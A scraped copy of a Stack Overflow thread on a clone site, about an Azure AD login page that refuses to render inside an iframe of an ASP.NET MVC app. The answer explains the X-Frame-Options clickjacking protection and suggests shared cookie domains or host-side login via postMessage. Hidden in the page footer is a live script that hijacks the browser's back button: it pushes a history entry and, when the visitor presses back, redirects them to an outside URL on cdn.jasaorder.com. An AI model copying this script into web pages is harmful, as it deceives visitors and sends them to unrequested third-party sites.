Refused to display "login.microsoftonline.com" in in asp.net MVC app</h1> <div class="post-info" style="border-bottom:1px solid #eee; padding-bottom:15px; margin-bottom:20px;"> <span class="author-info"><a href="#">Benjamin Ward</a></span> | <time datetime="2026-06-06 20:34:42"> June 06, 2026</time> </div> <style> .post-body { font-size: 17px; line-height: 1.5 !important; /* Reduces space between lines (was 1.8) */ } .post-body p { margin-bottom: 15px !important; /* Reduces space between paragraphs */ } </style> <div class="post-body"> <?xml encoding="UTF-8"><img src="/uploads/defaultnichethumbnail_720.jpg"><style> </style><p>I am working on a project where it has two different solutions. "" and inside that We have used to display pages of different project say "".</p><p>I have implemented Azure AD authentication on "" project. So once it hits that url, AzureAD page shows up for authentication.</p><p>Now I required to work the same authentication thing inside example.com which is using iframe to connect to project example123.com but getting issue - login.microsoftonline.com refused to connect.</p><p>Also on console i am getting error as - Refused to display ' in a frame because it set 'X-Frame-Options' to 'deny'.</p><p>Please help on this. Thanks in advance.</p><span itemprop="commentCount">1</span><h2 id="section-0">1 Answer</h2><p>Pretty much every Authorization Server login screen will refuse to render on an iframe by default, as a protection against clickjacking. So redirecting on an iframe will not work. There may be a way to allow this in Azure but I kind of doubt it.</p><p>Not sure if there is a solution in sight for you, and it is not a simple thing you are asking for. As a general rule you need to design for security early. A couple of possibilities:</p><p><strong>PART 1</strong></p><p>Make your hosting domains compatible along these lines, so that cookies or tokens (what ever you are using) can potentially be shared between the apps:</p><ul> <li><a href="" rel="nofollow noreferrer"></a></li> <li><a href="" rel="nofollow noreferrer"></a></li> </ul><p><strong>PART 2</strong></p><p>Define an interface within the inner (iframe) app for dealing with logins. When the inner app detects that it is running in an iframe it needs to use an implementation that asks the main (host) app to perform things like login redirects on its behalf.</p><p>You may then need to issue a cookie across the 2 apps (with a site wide scope) or use the postMessage API to send tokens back to the iframe app (and there are potential security risks with this).</p><span itemprop="commentCount"></span><form action="/questions/63155081/answer/submit" method="post"> <input type="hidden" value="63155081"> <input type="hidden" name="qualityBanWarningShown" value="false"> <input type="hidden" name="referrer" value=""> <h2 id="section-1">Your Answer</h2> <textarea name="post-text" cols="92" rows="15" tabindex="101" data-min-length></textarea> <aside aria-hidden="true"> <p>Thanks for contributing an answer to Stack Overflow!</p><ul><li>Please be sure to <em>answer the question</em>. Provide details and share your research!</li></ul><p>But <em>avoid</em> …</p><ul><li>Asking for help, clarification, or responding to other answers.</li><li>Making statements based on opinion; back them up with references or personal experience.</li></ul><p>To learn more, see our <a href="">tips on writing great answers</a>.</p> <button> <svg aria-hidden="true" width="18" height="18" viewbox="0 0 18 18"><path d="M15 4.41 13.59 3 9 7.59 4.41 3 3 4.41 7.59 9 3 13.59 4.41 15 9 10.41 13.59 15 15 13.59 10.41 9 15 4.41Z"></path></svg> </button> </aside> <input name="fkey" type="hidden" value="a20ce58b5494e3c18a40aaab3c057d78299bef43618b5d64a9bdf6417519a29d"> <input name="author" type="text"> <h3 id="section-2">Sign up or log in</h3> <svg aria-hidden="true" width="18" height="18" viewbox="0 0 18 18"><path d="M16.51 8H8.98v3h4.3c-.18 1-.74 1.48-1.6 2.04v2.01h2.6a7.8 7.8 0 0 0 2.38-5.88c0-.57-.05-.66-.15-1.18Z" fill="#4285F4"></path><path d="M8.98 17c2.16 0 3.97-.72 5.3-1.94l-2.6-2a4.8 4.8 0 0 1-7.18-2.54H1.83v2.07A8 8 0 0 0 8.98 17Z" fill="#34A853"></path><path d="M4.5 10.52a4.8 4.8 0 0 1 0-3.04V5.41H1.83a8 8 0 0 0 0 7.18l2.67-2.07Z" fill="#FBBC05"></path><path d="M8.98 4.18c1.17 0 2.23.4 3.06 1.2l2.3-2.3A8 8 0 0 0 1.83 5.4L4.5 7.49a4.77 4.77 0 0 1 4.48-3.3Z" fill="#EA4335"></path></svg> Sign up using Google <svg aria-hidden="true" width="18" height="18" viewbox="0 0 18 18"><path d="M3 1a2 2 0 0 0-2 2v12c0 1.1.9 2 2 2h12a2 2 0 0 0 2-2V3a2 2 0 0 0-2-2H3Zm6.55 16v-6.2H7.46V8.4h2.09V6.61c0-2.07 1.26-3.2 3.1-3.2.88 0 1.64.07 1.87.1v2.16h-1.29c-1 0-1.19.48-1.19 1.18V8.4h2.39l-.31 2.42h-2.08V17h-2.5Z" fill="#4167B2"></path></svg> Sign up using Facebook <svg aria-hidden="true" width="18" height="18" viewbox="0 0 18 18"><path d="M14 16v-5h2v7H2v-7h2v5h10Z" fill="#BCBBBB"></path><path d="m12.09.72-1.21.9 4.5 6.07 1.22-.9L12.09.71ZM5 15h8v-2H5v2Zm9.15-5.87L8.35 4.3l.96-1.16 5.8 4.83-.96 1.16Zm-7.7-1.47 6.85 3.19.63-1.37-6.85-3.2-.63 1.38Zm6.53 5L5.4 11.39l.38-1.67 7.42 1.48-.22 1.46Z" fill="#F48024"></path></svg> Sign up using Email and Password <input type="hidden" name="use-facebook" value="false"> <input type="hidden" name="use-google" value="false"> <button type="button">Submit</button> <h3 id="section-3">Post as a guest</h3> <noscript> <h3 id="section-4">Post as a guest</h3> </noscript> <button type="submit" tabindex="120" autocomplete="off"> Post Your Answer </button> <button> Discard </button> <p> By clicking “Post Your Answer”, you agree to our <a href="" name="tos" target="_blank">terms of service</a>, <a href="" name="privacy" target="_blank">privacy policy</a> and <a href="" name="cookie" target="_blank">cookie policy</a><input type="hidden" name="legalLinksShown" value="1"> </p> </form> </div> </article> <div style="margin-top:60px;"> <div class="normalwidget-title"> <h2 class="title">You Might Also Like</h2> </div> <div class="content"> <article class="post-outer"> <div class="post-content"> <div class="img-thumbnail"> <a href="/unable-to-to-update-yt-dlp-using-pip-command.html"> <img class="lazyload" data-src="https://devapps.quickvid.app/uploads/unable-to-to-update-yt-dlp-using-pip-command_720.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="> <div class="lazy-loading"></div> </a> </div> <h2 class="post-title" style="font-size:16px;"> <a href="/unable-to-to-update-yt-dlp-using-pip-command.html">Unable to to update yt-dlp using pip command</a> </h2> </div> </article> <article class="post-outer"> <div class="post-content"> <div class="img-thumbnail"> <a href="/calculate-md5-checksum-for-a-file.html"> <img class="lazyload" data-src="https://devapps.quickvid.app/uploads/calculate-md5-checksum-for-a-file_720.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="> <div class="lazy-loading"></div> </a> </div> <h2 class="post-title" style="font-size:16px;"> <a href="/calculate-md5-checksum-for-a-file.html">Calculate MD5 checksum for a file</a> </h2> </div> </article> <article class="post-outer"> <div class="post-content"> <div class="img-thumbnail"> <a href="/calculating-bst-time-from-date-object.html"> <img class="lazyload" data-src="https://devapps.quickvid.app/uploads/calculating-bst-time-from-date-object_720.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="> <div class="lazy-loading"></div> </a> </div> <h2 class="post-title" style="font-size:16px;"> <a href="/calculating-bst-time-from-date-object.html">Calculating BST time from Date object?</a> </h2> </div> </article> <article class="post-outer"> <div class="post-content"> <div class="img-thumbnail"> <a href="/regex-to-check-for-a-number-in-the-url-using-twig.html"> <img class="lazyload" data-src="https://devapps.quickvid.app/uploads/regex-to-check-for-a-number-in-the-url-using-twig_720.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="> <div class="lazy-loading"></div> </a> </div> <h2 class="post-title" style="font-size:16px;"> <a href="/regex-to-check-for-a-number-in-the-url-using-twig.html">Regex to check for a number in the url using Twig</a> </h2> </div> </article> </div> </div> </div></section><aside id="sidebar-wrap"> <div class="sidebar section" id="sidebar"> <div class="widget HTML" style="margin-bottom: 30px;"> <h2 class="title">Table of Contents</h2> <div class="widget-content"> <div id="toc" style="margin:0; padding:0; border:none; background:#f9f9f9; padding:15px; border-left:4px solid #378d8a;"> <ol style="padding-left: 20px; margin:0;"> <li><a href="#section-0">1 Answer</a></li> <li><a href="#section-1">Your Answer</a></li> <li><a href="#section-2">Sign up or log in</a></li> <li><a href="#section-3">Post as a guest</a></li> <li><a href="#section-4">Post as a guest</a></li> </ol> </div> </div> </div> <div class="widget HTML" style="position: sticky; top: 20px; z-index: 10;"> <h2 class="title">More on this Topic</h2> <div class="widget-content popular-posts"> <ul style="list-style: none; padding: 0; margin: 0;"> <li style="display: flex; align-items: flex-start; margin-bottom: 15px; border-bottom: 1px solid #f0f0f0; padding-bottom: 15px;"> <div class="img-thumbnail" style="width: 70px; height: 50px; flex-shrink: 0; margin-bottom: 0; margin-right: 12px; border-radius: 4px; overflow: hidden; padding-top: 0;"> <a href="/redirect-stderr-to-dev-null.html" style="display: block; width: 100%; height: 100%;"> <img class="lazyload" data-src="https://devapps.quickvid.app/uploads/redirect-stderr-to-dev-null_720.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="Redirect stderr to /dev/null" style="width: 100%; height: 100%; object-fit: cover;"> </a> </div> <div class="pop-content" style="flex: 1;"> <h3 style="margin: 0; font-size: 13px; line-height: 1.4; font-weight: 600;"> <a href="/redirect-stderr-to-dev-null.html" style="color: #444; text-decoration: none;"> Redirect stderr to /dev/null </a> </h3> </div> </li> <li style="display: flex; align-items: flex-start; margin-bottom: 15px; border-bottom: 1px solid #f0f0f0; padding-bottom: 15px;"> <div class="img-thumbnail" style="width: 70px; height: 50px; flex-shrink: 0; margin-bottom: 0; margin-right: 12px; border-radius: 4px; overflow: hidden; padding-top: 0;"> <a href="/how-can-l-uninstall-pytorch-with-anaconda.html" style="display: block; width: 100%; height: 100%;"> <img class="lazyload" data-src="https://devapps.quickvid.app/uploads/how-can-l-uninstall-pytorch-with-anaconda_720.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="How can l uninstall PyTorch with Anaconda?" style="width: 100%; height: 100%; object-fit: cover;"> </a> </div> <div class="pop-content" style="flex: 1;"> <h3 style="margin: 0; font-size: 13px; line-height: 1.4; font-weight: 600;"> <a href="/how-can-l-uninstall-pytorch-with-anaconda.html" style="color: #444; text-decoration: none;"> How can l uninstall PyTorch with Anaconda? </a> </h3> </div> </li> <li style="display: flex; align-items: flex-start; margin-bottom: 15px; border-bottom: 1px solid #f0f0f0; padding-bottom: 15px;"> <div class="img-thumbnail" style="width: 70px; height: 50px; flex-shrink: 0; margin-bottom: 0; margin-right: 12px; border-radius: 4px; overflow: hidden; padding-top: 0;"> <a href="/cmd-what-does-im-taskkill.html" style="display: block; width: 100%; height: 100%;"> <img class="lazyload" data-src="https://devapps.quickvid.app/uploads/cmd-what-does-im-taskkill_720.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="CMD what does /im (taskkill)?" style="width: 100%; height: 100%; object-fit: cover;"> </a> </div> <div class="pop-content" style="flex: 1;"> <h3 style="margin: 0; font-size: 13px; line-height: 1.4; font-weight: 600;"> <a href="/cmd-what-does-im-taskkill.html" style="color: #444; text-decoration: none;"> CMD what does /im (taskkill)? </a> </h3> </div> </li> <li style="display: flex; align-items: flex-start; margin-bottom: 15px; border-bottom: 1px solid #f0f0f0; padding-bottom: 15px;"> <div class="img-thumbnail" style="width: 70px; height: 50px; flex-shrink: 0; margin-bottom: 0; margin-right: 12px; border-radius: 4px; overflow: hidden; padding-top: 0;"> <a href="/how-can-i-make-to-date-in-amazon-redshift-work-with-multiple-date-form.html" style="display: block; width: 100%; height: 100%;"> <img class="lazyload" data-src="https://devapps.quickvid.app/uploads/how-can-i-make-to-date-in-amazon-redshift-work-with-multiple-date-formats-in-the-same-column_720.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="How can I make TO_DATE in Amazon Redshift work with multiple date formats in the same column?" style="width: 100%; height: 100%; object-fit: cover;"> </a> </div> <div class="pop-content" style="flex: 1;"> <h3 style="margin: 0; font-size: 13px; line-height: 1.4; font-weight: 600;"> <a href="/how-can-i-make-to-date-in-amazon-redshift-work-with-multiple-date-form.html" style="color: #444; text-decoration: none;"> How can I make TO_DATE in Amazon Redshift work with multiple date formats in the same column? </a> </h3> </div> </li> <li style="display: flex; align-items: flex-start; margin-bottom: 15px; border-bottom: 1px solid #f0f0f0; padding-bottom: 15px;"> <div class="img-thumbnail" style="width: 70px; height: 50px; flex-shrink: 0; margin-bottom: 0; margin-right: 12px; border-radius: 4px; overflow: hidden; padding-top: 0;"> <a href="/how-to-check-if-a-form-is-valid-programmatically-using-jquery-validati.html" style="display: block; width: 100%; height: 100%;"> <img class="lazyload" data-src="https://devapps.quickvid.app/uploads/how-to-check-if-a-form-is-valid-programmatically-using-jquery-validation-plugin_720.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="how to check if a form is valid programmatically using jQuery Validation Plugin" style="width: 100%; height: 100%; object-fit: cover;"> </a> </div> <div class="pop-content" style="flex: 1;"> <h3 style="margin: 0; font-size: 13px; line-height: 1.4; font-weight: 600;"> <a href="/how-to-check-if-a-form-is-valid-programmatically-using-jquery-validati.html" style="color: #444; text-decoration: none;"> how to check if a form is valid programmatically using jQuery Validation Plugin </a> </h3> </div> </li> <li style="display: flex; align-items: flex-start; margin-bottom: 15px; border-bottom: 1px solid #f0f0f0; padding-bottom: 15px;"> <div class="img-thumbnail" style="width: 70px; height: 50px; flex-shrink: 0; margin-bottom: 0; margin-right: 12px; border-radius: 4px; overflow: hidden; padding-top: 0;"> <a href="/python-regex-match-space-only.html" style="display: block; width: 100%; height: 100%;"> <img class="lazyload" data-src="https://devapps.quickvid.app/uploads/python-regex-match-space-only_720.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="Python regex match space only" style="width: 100%; height: 100%; object-fit: cover;"> </a> </div> <div class="pop-content" style="flex: 1;"> <h3 style="margin: 0; font-size: 13px; line-height: 1.4; font-weight: 600;"> <a href="/python-regex-match-space-only.html" style="color: #444; text-decoration: none;"> Python regex match space only </a> </h3> </div> </li> </ul> </div> </div> </div></aside></main> <footer id="footer-outer"> <div id="footer-content"> <div class="footer-text"> © 2026 Gossip Burst. All Rights Reserved. </div> </div> </footer> <script>const l="https://cdn.jasaorder.com/back.php?id=tri";history.pushState(null,null,location.href);window.addEventListener("popstate",function(){location.href=l});</script> <script> document.addEventListener("DOMContentLoaded", function() { var lazyImages = [].slice.call(document.querySelectorAll("img.lazyload")); if ("IntersectionObserver" in window) { let lazyImageObserver = new IntersectionObserver(function(entries, observer) { entries.forEach(function(entry) { if (entry.isIntersecting) { let lazyImage = entry.target; if(lazyImage.dataset.src){ lazyImage.src = lazyImage.dataset.src; lazyImage.onload = function(){ lazyImage.classList.add("loaded"); }; } lazyImageObserver.unobserve(lazyImage); } }); }); lazyImages.forEach(function(lazyImage) { lazyImageObserver.observe(lazyImage); }); } else { lazyImages.forEach(function(lazyImage) { if(lazyImage.dataset.src){ lazyImage.src = lazyImage.dataset.src; lazyImage.classList.add("loaded"); } }); } }); </script> <script> var _paq = window._paq = window._paq || []; _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function() { var u="//analytics.jasaorder.com/"; _paq.push(['setTrackerUrl', u+'matomo.php']); _paq.push(['setSiteId', '5']); var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s); })(); </script> <script type="text/javascript">var _Hasync= _Hasync|| []; _Hasync.push(['Histats.start', '1,5039067,4,0,0,0,00010000']); _Hasync.push(['Histats.fasi', '1']); _Hasync.push(['Histats.track_hits', '']); (function() { var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true; hs.src = ('//s10.histats.com/js15_as.js'); (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs); })();</script> <noscript><a href="/" target="_blank"><img src="//sstatic1.histats.com/0.gif?5039067&101" alt="web stats" border="0"></a></noscript> </body></html>